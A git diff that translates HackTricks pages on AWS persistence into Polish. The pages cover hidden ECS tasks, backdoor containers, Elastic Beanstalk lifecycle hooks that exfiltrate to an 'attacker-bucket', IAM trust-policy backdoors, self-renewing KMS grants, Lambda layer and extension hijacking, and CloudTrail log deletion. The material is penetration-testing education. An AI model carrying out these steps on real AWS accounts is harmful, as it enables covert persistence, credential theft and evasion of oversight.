a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -4,29 +4,28 @@ ## ECS -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Hidden Periodic ECS Task +### Ukryte okresowe zadanie ECS > [!NOTE] > TODO: Test -An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account. - +Napastnik może utworzyć ukryte okresowe zadanie ECS, używając Amazon EventBridge do **zaplanowania wykonywania złośliwego zadania okresowo**. To zadanie może przeprowadzać rekonesans, eksfiltrację danych lub utrzymywać persistencję w koncie AWS. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ - { - "name": "malicious-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - } +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} ]' # Create an Amazon EventBridge rule to trigger the task periodically @@ -34,70 +33,61 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate # Add a target to the rule to run the malicious ECS task aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ - { - "Id": "malicious-ecs-task-target", - "Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", - "RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", - "EcsParameters": { - "TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", - "TaskCount": 1 - } - } +{ +"Id": "malicious-ecs-task-target", +"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", +"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", +"EcsParameters": { +"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", +"TaskCount": 1 +} +} ]' ``` - -### Backdoor Container in Existing ECS Task Definition +### Backdoor Container w Istniejącej Definicji Zadania ECS > [!NOTE] > TODO: Test -An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities. - +Atakujący może dodać **ukryty kontener backdoor** w istniejącej definicji zadania ECS, który działa obok legalnych kontenerów. Kontener backdoor może być używany do utrzymywania dostępu i wykonywania złośliwych działań. ```bash # Update the existing task definition to include the backdoor container aws ecs register-task-definition --family "existing-task" --container-definitions '[ - { - "name": "legitimate-container", - "image": "legitimate-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - }, - { - "name": "backdoor-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": false - } +{ +"name": "legitimate-container", +"image": "legitimate-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +}, +{ +"name": "backdoor-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": false +} ]' ``` - ### Undocumented ECS Service > [!NOTE] > TODO: Test -An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service. - +Atakujący może stworzyć **undocumented ECS service**, który uruchamia złośliwe zadanie. Ustawiając pożądaną liczbę zadań na minimum i wyłączając logowanie, staje się trudniej administratorom zauważyć złośliwą usługę. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ - { - "name": "malicious-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - } +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} ]' # Create an undocumented ECS service with the malicious task definition aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md index bdb282d41..2acc6be13 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md @@ -4,22 +4,18 @@ ## EFS -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-efs-enum.md {{#endref}} -### Modify Resource Policy / Security Groups +### Modyfikacja polityki zasobów / grup zabezpieczeń -Modifying the **resource policy and/or security groups** you can try to persist your access into the file system. +Modyfikując **politykę zasobów i/lub grupy zabezpieczeń**, możesz spróbować utrzymać dostęp do systemu plików. -### Create Access Point +### Utwórz punkt dostępu -You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system. +Możesz **utworzyć punkt dostępu** (z dostępem root do `/`), dostępny z usługi, w której wdrożyłeś **inną persistencję**, aby zachować uprzywilejowany dostęp do systemu plików. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index c55e0e2ba..66045aa49 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -4,31 +4,30 @@ ## Elastic Beanstalk -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Persistence in Instance +### Utrzymywanie dostępu w instancji -In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**. +Aby utrzymać dostęp w koncie AWS, można wprowadzić **mechanizm utrzymywania dostępu wewnątrz instancji** (zadanie cron, klucz ssh...), aby atakujący mógł uzyskać do niego dostęp i ukraść **poświadczenia roli IAM z usługi metadanych**. -### Backdoor in Version +### Tylnie drzwi w wersji -An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code. +Atakujący mógłby wprowadzić tylne drzwi do kodu w repozytorium S3, aby zawsze wykonywał swoje tylne drzwi oraz oczekiwany kod. -### New backdoored version +### Nowa wersja z tylnymi drzwiami -Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application. +Zamiast zmieniać kod w aktualnej wersji, atakujący mógłby wdrożyć nową wersję aplikacji z tylnymi drzwiami. -### Abusing Custom Resource Lifecycle Hooks +### Wykorzystywanie niestandardowych haków cyklu życia zasobów > [!NOTE] > TODO: Test -Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**. - +Elastic Beanstalk zapewnia haki cyklu życia, które pozwalają na uruchamianie niestandardowych skryptów podczas provisioningu i zakończenia instancji. Atakujący mógłby **skonfigurować hak cyklu życia, aby okresowo wykonywał skrypt, który eksfiltruje dane lub utrzymuje dostęp do konta AWS**. ```bash bashCopy code# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash @@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo # Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook echo 'Resources: - AWSEBAutoScalingGroup: - Metadata: - AWS::ElasticBeanstalk::Ext: - TriggerConfiguration: - triggers: - - name: stealthy-lifecycle-hook - events: - - "autoscaling:EC2_INSTANCE_LAUNCH" - - "autoscaling:EC2_INSTANCE_TERMINATE" - target: - ref: "AWS::ElasticBeanstalk::Environment" - arn: - Fn::GetAtt: - - "AWS::ElasticBeanstalk::Environment" - - "Arn" - stealthyLifecycleHook: - Type: AWS::AutoScaling::LifecycleHook - Properties: - AutoScalingGroupName: - Ref: AWSEBAutoScalingGroup - LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING - NotificationTargetARN: - Ref: stealthy-lifecycle-hook - RoleARN: - Fn::GetAtt: - - AWSEBAutoScalingGroup - - Arn' > stealthy_lifecycle_hook.yaml +AWSEBAutoScalingGroup: +Metadata: +AWS::ElasticBeanstalk::Ext: +TriggerConfiguration: +triggers: +- name: stealthy-lifecycle-hook +events: +- "autoscaling:EC2_INSTANCE_LAUNCH" +- "autoscaling:EC2_INSTANCE_TERMINATE" +target: +ref: "AWS::ElasticBeanstalk::Environment" +arn: +Fn::GetAtt: +- "AWS::ElasticBeanstalk::Environment" +- "Arn" +stealthyLifecycleHook: +Type: AWS::AutoScaling::LifecycleHook +Properties: +AutoScalingGroupName: +Ref: AWSEBAutoScalingGroup +LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING +NotificationTargetARN: +Ref: stealthy-lifecycle-hook +RoleARN: +Fn::GetAtt: +- AWSEBAutoScalingGroup +- Arn' > stealthy_lifecycle_hook.yaml # Attacker applies the new environment configuration aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index e3e1944e7..7b5125804 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -4,50 +4,44 @@ ## IAM -For more information access: +Aby uzyskać więcej informacji, przejdź do: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -### Common IAM Persistence +### Powszechna trwałość IAM -- Create a user -- Add a controlled user to a privileged group -- Create access keys (of the new user or of all users) -- Grant extra permissions to controlled users/groups (attached policies or inline policies) -- Disable MFA / Add you own MFA device -- Create a Role Chain Juggling situation (more on this below in STS persistence) +- Utwórz użytkownika +- Dodaj kontrolowanego użytkownika do uprzywilejowanej grupy +- Utwórz klucze dostępu (nowego użytkownika lub wszystkich użytkowników) +- Przyznaj dodatkowe uprawnienia kontrolowanym użytkownikom/grupom (polityki dołączone lub polityki inline) +- Wyłącz MFA / Dodaj własne urządzenie MFA +- Utwórz sytuację z łańcuchem ról (więcej na ten temat poniżej w trwałości STS) -### Backdoor Role Trust Policies - -You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone): +### Polityki zaufania ról backdoor +Możesz dodać backdoor do polityki zaufania, aby móc ją przyjąć dla zewnętrznego zasobu kontrolowanego przez Ciebie (lub dla wszystkich): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": ["*", "arn:aws:iam::123213123123:root"] - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": ["*", "arn:aws:iam::123213123123:root"] +}, +"Action": "sts:AssumeRole" +} +] } ``` - ### Backdoor Policy Version -Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group. +Nadaj uprawnienia Administratora do polityki, która nie jest jej ostatnią wersją (ostatnia wersja powinna wyglądać na legitną), a następnie przypisz tę wersję polityki do kontrolowanego użytkownika/grupy. ### Backdoor / Create Identity Provider -If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them. +Jeśli konto już ufa wspólnemu dostawcy tożsamości (takiemu jak Github), warunki zaufania mogą zostać zwiększone, aby atakujący mógł je wykorzystać. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md index 7aefbd410..855b97515 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md @@ -4,40 +4,34 @@ ## KMS -For mor information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} -### Grant acces via KMS policies +### Przyznawanie dostępu za pomocą polityk KMS -An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information. +Atakujący może użyć uprawnienia **`kms:PutKeyPolicy`** do **przyznania dostępu** do klucza użytkownikowi pod jego kontrolą lub nawet do zewnętrznego konta. Sprawdź [**stronę KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) po więcej informacji. -### Eternal Grant +### Wieczne Przyznanie -Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key. +Przyznania to inny sposób na nadanie podmiotowi pewnych uprawnień do konkretnego klucza. Możliwe jest przyznanie, które pozwala użytkownikowi tworzyć przyznania. Co więcej, użytkownik może mieć kilka przyznań (nawet identycznych) do tego samego klucza. -Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated. - -(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant) +Dlatego możliwe jest, aby użytkownik miał 10 przyznań ze wszystkimi uprawnieniami. Atakujący powinien to stale monitorować. A jeśli w pewnym momencie 1 przyznanie zostanie usunięte, powinno zostać wygenerowanych kolejne 10. +(Używamy 10, a nie 2, aby móc wykryć, że przyznanie zostało usunięte, podczas gdy użytkownik nadal ma jakieś przyznanie) ```bash # To generate grants, generate 10 like this one aws kms create-grant \ - --key-id \ - --grantee-principal \ - --operations "CreateGrant" "Decrypt" +--key-id \ +--grantee-principal \ +--operations "CreateGrant" "Decrypt" # To monitor grants aws kms list-grants --key-id ``` - > [!NOTE] -> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) +> Grant może przyznać uprawnienia tylko z tego: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 1390c2d55..d51aeddf2 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -4,7 +4,7 @@ ## Lambda -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../../aws-services/aws-lambda-enum.md @@ -12,7 +12,7 @@ For more information check: ### Lambda Layer Persistence -It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way: +Możliwe jest **wprowadzenie/tylnych drzwi do warstwy, aby wykonać dowolny kod** podczas wykonywania lambdy w sposób ukryty: {{#ref}} aws-lambda-layers-persistence.md @@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md ### Lambda Extension Persistence -Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. +Wykorzystując warstwy Lambda, możliwe jest również nadużywanie rozszerzeń i utrzymywanie się w lambdzie, a także kradzież i modyfikacja żądań. {{#ref}} aws-abusing-lambda-extensions.md @@ -28,41 +28,37 @@ aws-abusing-lambda-extensions.md ### Via resource policies -It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts: +Możliwe jest przyznanie dostępu do różnych akcji lambdy (takich jak wywołanie lub aktualizacja kodu) zewnętrznym kontom:
### Versions, Aliases & Weights -A Lambda can have **different versions** (with different code each version).\ -Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\ -This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth. +Lambda może mieć **różne wersje** (z różnym kodem w każdej wersji).\ +Następnie możesz utworzyć **różne aliasy z różnymi wersjami** lambdy i ustawić różne wagi dla każdej z nich.\ +W ten sposób atakujący mógłby stworzyć **wersję 1 z tylnymi drzwiami** i **wersję 2 tylko z legalnym kodem** i **wykonywać wersję 1 w 1%** żądań, aby pozostać w ukryciu.
### Version Backdoor + API Gateway -1. Copy the original code of the Lambda -2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST - 1. Call the API gateway related to the lambda to execute the code -3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST. - 1. This will hide the backdoored code in a previous version -4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1` - 1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario). -5. Select the POST method created and in Actions select **`Deploy API`** -6. Now, when you **call the function via POST your Backdoor** will be invoked +1. Skopiuj oryginalny kod Lambdy +2. **Utwórz nową wersję z tylnymi drzwiami** oryginalnego kodu (lub tylko z złośliwym kodem). Opublikuj i **wdroż tę wersję** do $LATEST +1. Wywołaj bramę API związaną z lambdą, aby wykonać kod +3. **Utwórz nową wersję z oryginalnym kodem**, opublikuj i wdroż tę **wersję** do $LATEST. +1. To ukryje kod z tylnymi drzwiami w poprzedniej wersji +4. Przejdź do API Gateway i **utwórz nową metodę POST** (lub wybierz inną metodę), która wykona wersję lambdy z tylnymi drzwiami: `arn:aws:lambda:us-east-1::function::1` +1. Zauważ końcowe :1 w arn **wskazujące wersję funkcji** (wersja 1 będzie wersją z tylnymi drzwiami w tym scenariuszu). +5. Wybierz utworzoną metodę POST i w Akcjach wybierz **`Deploy API`** +6. Teraz, gdy **wywołasz funkcję za pomocą POST, twoje Tylne Drzwi** zostaną wywołane ### Cron/Event actuator -The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\ -Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**. +Fakt, że możesz sprawić, aby **funkcje lambda działały, gdy coś się wydarzy lub gdy upłynie czas**, sprawia, że lambda jest miłym i powszechnym sposobem na uzyskanie trwałości i unikanie wykrycia.\ +Oto kilka pomysłów, aby uczynić swoją **obecność w AWS bardziej ukrytą, tworząc lambdy**. -- Every time a new user is created lambda generates a new user key and send it to the attacker. -- Every time a new role is created lambda gives assume role permissions to compromised users. -- Every time new cloudtrail logs are generated, delete/alter them +- Za każdym razem, gdy tworzony jest nowy użytkownik, lambda generuje nowy klucz użytkownika i wysyła go do atakującego. +- Za każdym razem, gdy tworzona jest nowa rola, lambda przyznaje uprawnienia do przyjęcia roli skompromitowanym użytkownikom. +- Za każdym razem, gdy generowane są nowe logi cloudtrail, usuń/zmień je {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index 71655ada0..b53895013 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -1,46 +1,42 @@ -# AWS - Abusing Lambda Extensions +# AWS - Wykorzystywanie rozszerzeń Lambda {{#include ../../../../banners/hacktricks-training.md}} -## Lambda Extensions +## Rozszerzenia Lambda -Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**. +Rozszerzenia Lambda wzbogacają funkcje, integrując się z różnymi **narzędziami do monitorowania, obserwowalności, bezpieczeństwa i zarządzania**. Te rozszerzenia, dodawane za pomocą [.zip archiwów przy użyciu warstw Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) lub włączane w [wdrożeniach obrazów kontenerów](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), działają w dwóch trybach: **wewnętrznym** i **zewnętrznym**. -- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**. -- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**. +- **Wewnętrzne rozszerzenia** łączą się z procesem uruchomieniowym, manipulując jego uruchomieniem za pomocą **zmiennych środowiskowych specyficznych dla języka** i **skryptów opakowujących**. Ta personalizacja dotyczy różnych środowisk uruchomieniowych, w tym **Java Correto 8 i 11, Node.js 10 i 12 oraz .NET Core 3.1**. +- **Zewnętrzne rozszerzenia** działają jako oddzielne procesy, utrzymując zgodność operacyjną z cyklem życia funkcji Lambda. Są kompatybilne z różnymi środowiskami uruchomieniowymi, takimi jak **Node.js 10 i 12, Python 3.7 i 3.8, Ruby 2.5 i 2.7, Java Corretto 8 i 11, .NET Core 3.1** oraz **niestandardowymi środowiskami uruchomieniowymi**. -For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). +Aby uzyskać więcej informacji o [**tym, jak działają rozszerzenia lambda, sprawdź dokumentację**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). -### External Extension for Persistence, Stealing Requests & modifying Requests +### Zewnętrzne rozszerzenie do utrzymywania, kradzieży żądań i modyfikacji żądań -This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) +To jest podsumowanie techniki zaproponowanej w tym poście: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) -It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.** +Stwierdzono, że domyślny kernel Linux w środowisku uruchomieniowym Lambda jest skompilowany z wywołaniami systemowymi “**process_vm_readv**” i “**process_vm_writev**”. A wszystkie procesy działają z tym samym identyfikatorem użytkownika, nawet nowy proces utworzony dla zewnętrznego rozszerzenia. **Oznacza to, że zewnętrzne rozszerzenie ma pełny dostęp do odczytu i zapisu pamięci sterty Rapid, zgodnie z założeniem.** -Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request. +Ponadto, podczas gdy rozszerzenia Lambda mają możliwość **subskrybowania zdarzeń wywołania**, AWS nie ujawnia surowych danych tym rozszerzeniom. Zapewnia to, że **rozszerzenia nie mogą uzyskać dostępu do wrażliwych informacji** przesyłanych za pośrednictwem żądania HTTP. -The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid. +Proces Init (Rapid) monitoruje wszystkie żądania API pod adresem [http://127.0.0.1:9001](http://127.0.0.1:9001/), podczas gdy rozszerzenia Lambda są inicjowane i uruchamiane przed wykonaniem jakiegokolwiek kodu uruchomieniowego, ale po Rapid.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png

-The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions. +Zmienna **`AWS_LAMBDA_RUNTIME_API`** wskazuje **adres IP** i **numer portu** API Rapid dla **procesów uruchomieniowych podrzędnych** i dodatkowych rozszerzeń. > [!WARNING] -> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number. +> Zmieniając zmienną środowiskową **`AWS_LAMBDA_RUNTIME_API`** na **`port`**, do którego mamy dostęp, możliwe jest przechwycenie wszystkich działań w ramach uruchomienia Lambda (**man-in-the-middle**). Jest to możliwe, ponieważ rozszerzenie działa z tymi samymi uprawnieniami co Rapid Init, a kernel systemu pozwala na **modyfikację pamięci procesów**, co umożliwia zmianę numeru portu. -Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment. +Ponieważ **rozszerzenia działają przed jakimkolwiek kodem uruchomieniowym**, modyfikacja zmiennej środowiskowej wpłynie na proces uruchomieniowy (np. Python, Java, Node, Ruby) w momencie jego uruchomienia. Ponadto, **rozszerzenia załadowane po** naszym, które polegają na tej zmiennej, również będą kierować przez nasze rozszerzenie. Ta konfiguracja może umożliwić złośliwemu oprogramowaniu całkowite ominięcie środków bezpieczeństwa lub rozszerzeń rejestrujących bezpośrednio w środowisku uruchomieniowym.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png

-The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**. +Narzędzie [**lambda-spy**](https://github.com/clearvector/lambda-spy) zostało stworzone, aby wykonać **zapis pamięci** i **ukraść wrażliwe informacje** z żądań lambda, innych **rozszerzeń** **żądań** i nawet **je modyfikować**. -## References +## Odniesienia - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/) - [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index f8a5e2868..3abc33a6a 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -4,79 +4,72 @@ ## Lambda Layers -A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files. +Warstwa Lambda to archiwum .zip, które **może zawierać dodatkowy kod** lub inne treści. Warstwa może zawierać biblioteki, [niestandardowy runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), dane lub pliki konfiguracyjne. -It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment. +Możliwe jest dołączenie do **pięciu warstw na funkcję**. Gdy dołączasz warstwę do funkcji, **zawartość jest wypakowywana do katalogu `/opt`** w środowisku wykonawczym. -By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version. +Z **domyślnie**, **warstwy**, które tworzysz, są **prywatne** dla twojego konta AWS. Możesz zdecydować się na **udostępnienie** warstwy innym kontom lub **uczynić** warstwę **publiczną**. Jeśli twoje funkcje korzystają z warstwy opublikowanej przez inne konto, twoje funkcje mogą **nadal używać wersji warstwy po jej usunięciu lub po cofnięciu twojego dostępu do warstwy**. Jednak nie możesz utworzyć nowej funkcji ani zaktualizować funkcji korzystających z usuniętej wersji warstwy. -Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image. +Funkcje wdrożone jako obraz kontenera nie używają warstw. Zamiast tego pakujesz swój preferowany runtime, biblioteki i inne zależności do obrazu kontenera podczas budowania obrazu. ### Python load path -The load path that Python will use in lambda is the following: - +Ścieżka ładowania, którą Python będzie używał w lambda, jest następująca: ``` ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages'] ``` - -Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`** +Sprawdź, jak **drugie** i trzecie **pozycje** są zajmowane przez katalogi, w których **lambda layers** dekompresują swoje pliki: **`/opt/python/lib/python3.9/site-packages`** i **`/opt/python`** > [!CAUTION] -> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation. +> Jeśli atakujący zdołałby **wprowadzić backdoora** do używanej **warstwy lambda** lub **dodać jedną**, która będzie **wykonywać dowolny kod, gdy załadowana zostanie wspólna biblioteka**, będzie mógł wykonywać złośliwy kod przy każdym wywołaniu lambda. -Therefore, the requisites are: +Dlatego wymagania są następujące: -- **Check libraries** that are **loaded** by the victims code -- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library. +- **Sprawdź biblioteki**, które są **ładowane** przez kod ofiary +- Utwórz **bibliotekę proxy z warstwami lambda**, która będzie **wykonywać 